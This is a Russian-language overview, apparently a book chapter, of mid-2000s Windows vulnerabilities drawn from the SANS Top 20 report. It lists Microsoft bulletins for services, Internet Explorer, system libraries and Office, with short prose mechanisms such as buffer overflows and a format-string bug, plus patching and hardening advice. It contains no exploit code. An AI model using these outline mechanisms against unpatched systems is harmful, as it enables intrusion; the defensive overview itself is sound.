Обычному пользователю очень часто приходится слышать о появлении новых уязвимостей. Разобраться в такой каше бывает совсем непросто ввиду слабой систематизации таких сообщений, которые чаще всего представлены сухой констатацией отрывков бюллетеней безопасности корпорации Microsoft. Наиболее авторитетным источником, представляющим различные уязвимости в классифицированной форме, является The SANS Institute (http://www.sans.org/top20). В отчете SANS все уязвимости разделены на уязвимости Windows-систем, UNIX-систем, приложений (программ) и сетевых продуктов.

В объеме данного раздела подробно остановимся лишь на уязвимостях Windows-систем (с полным отчетом можно ознакомиться по адресу http://www.sans.org/top20).

ПРИМЕЧАНИЕ

Список рассматриваемых в данном разделе уязвимостей нельзя считать самым новым. Он приведен лишь как пример.

Чтобы немного четче представлять, что откуда взялось и кому все это нужно, будет более чем уместно привести «повествование временных лет» горячих отчетов SANS.

Несколько лет назад институт SANS (SANS Institute) и Национальный Центр Защиты Инфраструктуры США (National Infrastructure Protection Center, или NIPC) совместно с FBI представили документ, который по сути своей являлся самым что ни на есть настоящим отчетом, где было озвучено десять критических (на тот момент) уязвимостей, касающихся интернет-безопасности. Данный отчет за короткое время приобрел статус авторитетного руководства, которое активно использовалось различными конторами для устранения дыр ПО. Отчет содержал свежую информацию об уязвимых сервисах, компрометирующихся такой "киберзаразой" своего времени, как Blaster, Slammer и Code Red. В последующие годы отчет трансформировался в список уже из двадцати критических уязвимостей, коим и является на сегодняшний день.

Ну что ж, вот, пожалуй, и начнем.

Сервисы Windows. Семейство операционных систем платформы Windows характеризуется наличием самых разнообразных сервисов, многие из которых обеспечивают нормальную работу данной операционной системы как сетевой. К чему это мы? Наверное, к тому, что уязвимости сервисов Windows как таковые – довольно распространенное явление. Можно даже сказать больше: дыры в сервисах находили, находят и, несомненно, будут находить, благо сервисов у Windows предостаточно. Многие сервисные уязвимости эксплуатируются посредством переполнения буфера (уязвимости переполнения буфера – buffer overflow vulnerabilities), причем большинство атак подобного рода относят к категории удаленных. Удивляться этому факту особо не приходится, учитывая, что подобные сервисы – сетевые.

Небольшое лирическое отступление: наверное, многим из читателей доводилось слышать, что чем больше открытых портов в системе, тем она более уязвима. И тут должен возникнуть закономерный вопрос: как же можно минимизировать количество открытых портов? Просто. Все дело в том, что порт по сути представляет собой какое-либо сетевое приложение, взаимодействующее с подобными себе посредством сетевого интерфейса (очень упрощенно). Чаще всего какому-либо открытому порту соответствует определенное приложение (в нашем случае – служба). Из вышесказанного следует, что минимизировать количество открытых портов можно, минимизировав количество запущенных служб. В качестве горячего примера, иллюстрирующего вышесказанное, уместно привести следующее изображение (рис. 1.7).

Рис. 1.7. Запущенная служба (служба времени Windows) – открытый порт

При отключении службы времени Windows автоматически закрывается и соответствующий порт (рис. 1.8).

Рис. 1.8. Порт 123 закрыт!

Естественно, что в данной ситуации главное – не переусердствовать, для чего очень полезно ознакомиться с описанием служб Windows. Вернемся к SANS.

Согласно отчету список уязвимых служб таков (буквенно-цифровое обозначение уязвимости соответствует оригинальной классификации Microsoft):

¦ MSDTC and COM+ Service (MS05-051);

¦ Print Spooler Service (MS05-043);

¦ Plug and Play Service (MS05-047, MS05-039);

¦ Server Message Block Service (MS05-027, MS05-011);

¦ Exchange SMTP Service (MS05-021);

¦ Message Queuing Service (MS05-017);

¦ License Logging Service (MS05-010);

¦ WINS Service (MS04-045);

¦ NNTP Service (MS04-036);

¦ NetDDE Service (MS04-031);

¦ Task Scheduler (MS04-022).

Уязвимости большинства из перечисленных служб реализуются посредством удаленного выполнения кода либо отказа в обслуживании. Не вдаваясь в технические подробности, еще раз отметим, что абсолютное большинство из вышеперечисленных уязвимостей служб эксплуатируется по механизму переполнения буфера. Переполнение буфера (buffer overflows) на сегодняшний день является самой распространенной уязвимостью в области безопасности ПО. Уязвимость подобного рода широко используется в механизмах проникновения компьютерных червей, таких, например, как CodeRed, Slammer, Lovesan, Zotob и т. д. Помимо червей, уязвимости на переполнение буфера активно используются и для организации атак типа DoS (Denial of Service – отказ в обслуживании), в частности DDoS (Distributed – распределительный), поэтому сомневаться в силе и могуществе данной уязвимости просто не имеет смысла.

Рассмотрим подробнее особенности уязвимостей некоторых служб из вышеупомянутого списка.

¦ Print Spooler Service (MS05-043). Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании или выполнить произвольный код на целевой системе. Уязвимость существует из-за отсутствия проверки длины буфера в процессе spoolsv.exe. Удаленный пользователь может послать сервису специально сформированный пакет, вызвать переполнение буфера и выполнить произвольный код на целевой системе или вызвать отказ в обслуживании. Уязвимые системы: Microsoft Windows 2000, XP, 2003.

¦ Plug and Play Service (MS05-047, MS05-039). Уязвимость стандарта Plug and Play делает возможным удаленный запуск программного кода и несанкционированное локальное расширение полномочий. Описание: несколько уязвимостей форматной строки обнаружены при вызове функции wsprintfW() в библиотеке UMPNPMGR.DLL службы Plug and Play. В двух случаях проверка подлинности входных данных производится посредством сравнения соответствия ключу реестра HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnum. Хотя вся ветка реестра защищена от записи для непривилегированных пользователей, злоумышленник может с помощью специально сформированной строки, содержащей произвольное количество символов обратной черты, обойти проверку подлинности. В Windows 2000, без установленного исправления MS05-039, удаленный пользователь может без процедуры аутентификации получить доступ к интерфейсу UMPNPMGR посредством именованного канала конечных RPC-точек: PIPEbrowser, PIPEsrvsvc и PIPEwkssvc. Если исправление установлено, для успешной эксплуатации уязвимости злоумышленнику потребуется авторизация. Уязвимость в Microsoft Windows XP SP2 может быть эксплуатирована лишь локальным авторизованным пользователем. Уязвимые системы: Microsoft Windows 2000 SP4, Microsoft Windows XP SP1, SP2.

¦ Server Message Block Service (MS05-027, MS05-011) – выполнение произвольного кода в Microsoft Server Message Block. Уровень опасности – критический. Уязвимость позволяет удаленному пользователю выполнить произвольный код на целевой системе. Уязвимость существует из-за недостаточной проверки входных SMB-пакетов. Удаленный пользователь может с помощью специально сформированного SMB-пакета выполнить произвольный код на целевой системе. Уязвимые операционные системы: Microsoft Windows 2000, XP, 2003.

¦ Exchange SMTP Service (MS05-021). Уязвимость Exchange Server может привести к запуску произвольного кода. Уязвимость существует в сервисе Internet Mail почтового сервера Exchange Server 5.5 и Exchange 2000 Server и может позволить нападающему установить соединение с портом SMTP этого сервера и отправить специальным образом расширенный вербальный запрос, который приведет к выделению под него большого объема памяти. Это может привести к падению сервиса Internet Mail или к отказу пакета в работе по причине недостаточного объема доступной памяти. Кроме того, в Exchange 2000 Server уязвимость позволяет атакующему, при условии создания тщательно подобранной последовательности данных, вызвать переполнение буфера, которое может привести к возможности запуска вредоносных программ в контексте зоны безопасности сервиса SMTP. Для предотвращения возможности проведения атаки можно воспользоваться специальными программами, фильтрующими SMTP-трафик перед отправкой его на Exchange Server. Как сообщает Microsoft, система Exchange Server 2003 свободна от данной уязвимости. Уязвимости подвержены компьютеры, на которых запущены Microsoft Exchange Server 5.5, Service Pack 4 или Microsoft Exchange 2000 Server, Service Pack 3.

¦ WINS Service (MS04-045) (Microsoft Windows Internet Naming Service). Проблема связана с некорректной проверкой определенных параметров запросов, в результате чего может произойти выполнение произвольного вредоносного кода на удаленном ПК. Дыра есть в операционных системах Windows NT, 2000, Server 2003 (в том числе 64-битной модификации).

¦ NNTP Service (MS04-036). Удаленный пользователь может представить специально обработанное, чрезмерно длинное сообщение, чтобы вызвать переполнение буфера в NNTP-компоненте (Network News Transfer Protocol). Успешная эксплуатация позволяет выполнить произвольный код на целевой системе, в которой используется NNTP. Уязвимость обнаружена в серверных

версиях Windows NT/2000/2003.

¦ NetDDE Service (MS04-031). Переполнение буфера обнаружено в NetDDE-службе. Уязвимость позволяет удаленному атакующему выполнить на уязвимой системе произвольный код с SYSTEM-привилегиями. Служба NetDDE отключена по умолчанию. Опасность – средняя. Уязвимые системы: Microsoft Windows NT Server 4.0 Service Pack 6a, Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6, Microsoft Windows 2000 Service Pack 3 и Microsoft Windows 2000 Service Pack 4, Microsoft Windows XP и Microsoft Windows XP

Service Pack 1, Microsoft Windows XP 64-Bit Edition Service Pack 1, Microsoft Windows XP 64-Bit Edition Version 2003, Microsoft Windows Server 2003, Microsoft Windows Server 2003 64-Bit Edition.

Подводя итог, совершенно очевидно, что избежать эксплуатации уязвимостей можно: достаточно лишь установить соответствующе заплатки безопасности с официального сайта Microsoft. Совершенно очевидно и другое: в информационной безопасности есть такое определение, как "окно опасности" (извините за некоторую тавтологию). Термин подразумевает под собой время с момента обнаружения конкретной уязвимости до момента выхода и установки в уязвимую систему соответствующего обновления. Так вот, очень часто это самое окно оказывается недопустимо большим, и тогда возникает закономерный риторический вопрос: а имеет ли смысл устанавливать заплатки вообще? Поразмыслив таким образом некоторое время, приходишь к некому рационалистическому компромиссу: лучше поздно, чем никогда. Яркое подтверждение тому – червь MS Blast (эксплуатирует уязвимость в службе LSASS), который и поныне можно подцепить без второго сервис-пака.

IE – генератор зла?! Оценив количество обновлений народного браузера в контексте интернет-безопасности, иначе, чем генератором зла, IE назвать достаточно трудно. Посудите сами:

¦ Cumulative Security Update for Internet Explorer (MS05-052);

¦ Cumulative Security Update for Internet Explorer (MS05-038);

¦ JView Profile Remote Code Execution (MS05-037);

¦ Cumulative Security Update for Internet Explorer (MS05-025);

¦ Cumulative Security Update for Internet Explorer (MS05-020);

¦ Cumulative Security Update for Internet Explorer (MS05-014);

¦ Windows Shell Remote Code Execution (MS05-008);

¦ Cumulative Security Update for Internet Explorer (MS04-040);

¦ Cumulative Security Update for Internet Explorer (MS04-038);

¦ Cumulative Security Update for Internet Explorer (MS04-025).

При всех "наездах" на IE, выражающихся в многочисленных отчетах об обнаруженных уязвимостях, необходимо признать, что корпорация Microsoft обеспечивает-таки какую-никакую техническую поддержку продукта, регулярно выпуская соответствующие обновления. Очередной раз критикуя браузер, который тем не менее по сей день остается одним из самых популярных продуктов в своем роде, необходимо помнить, что немалое количество обнаруженных уязвимостей IE – это не изъян самого продукта, а результат пристального внимания к IE со стороны киберсообщества (по крайней мере это официальная позиция Microsoft).

Если на ваш IE не установлены необходимые пакеты обновлений, то, чтобы подцепить какую-либо заразу, вам вовсе не обязательно что-либо скачивать или запускать. Для заражения достаточно просто посетить страницу со злонамеренным кодом.

Есть ли выход и как снизить риск поражения без установки соответствующих заплаток? Абсолютное большинство уязвимостей данного рода базируется на обработке компонентов ActiveX и активных сценариев. Для снижения риска рекомендуется поставить высокий уровень безопасности (Сервис > Свойства обозревателя > Безопасность) IE. Оптимальным вариантом будет ручная настройка зон безопасности (кнопка Другой), что поможет избежать некорректного отображения содержания некоторых страниц.

Библиотеки Windows. Для нормальной работы многих программ необходимы определенные библиотеки, представленные файлами с расширением DLL (Dynamic Link Library). На сегодняшний день уязвимости библиотек Windows являют собой достаточно серьезную угрозу, так как с помощью уязвимостей подобного рода возможно осуществление достаточно экзотических атак. В качестве примера можно привести поражение системы при запуске файла формата JPEG. Уязвимости библиотек более чем активно используются вредоносным ПО для установки себя в систему жертвы (так, троянский конь Trojan Phel.A для заражения системы использует уязвимость в HTML Help Library).

По классификации SANS, уязвимости библиотек Windows сгруппированы следующим образом:

¦ Windows Graphics Rendering Engine Remote Code Execution (MS05-053);

¦ Microsoft DirectShow Remote Code Execution (MS05-050);

¦ Microsoft Color Management Module Remote Code Execution (MS05-036);

¦ HTML Help Remote Code Execution (MS05-026, MS05-001, MS04-023);

¦ Web View Remote Code Execution (MS05-024);

¦ Windows Shell Remote Command Execution (MS05-049, MS05-016, MS04-037,

MS04-024);

¦ Windows Hyperlink Object Library Remote Code Execution (MS05-015);

¦ PNG Image Processing Remote Code Execution (MS05-009);

¦ Cursor and Icon Processing Remote Code Execution (MS05-002);

¦ Windows Compressed Folder Remote Code Execution (MS04-034);

¦ JPEG Processing Remote Code Execution (MS04-028).

Подробное описание вышеперечисленных уязвимостей можно найти по адресу http://www.sans.org/top20.

Последним пунктом раздела уязвимостей Windows-систем являются Microsoft Office и Outlook Express. Им соответствуют следующие записи отчета SANS:

¦ Cumulative Security Update for Outlook Express (MS05-030);

¦ Microsoft OLE and COM Remote Code Execution (MS05-012);

¦ Microsoft Office XP Remote Code Execution (MS05-005).

Технические подробности данных уязвимостей можно найти на сайте SANS, адрес которого был приведен выше.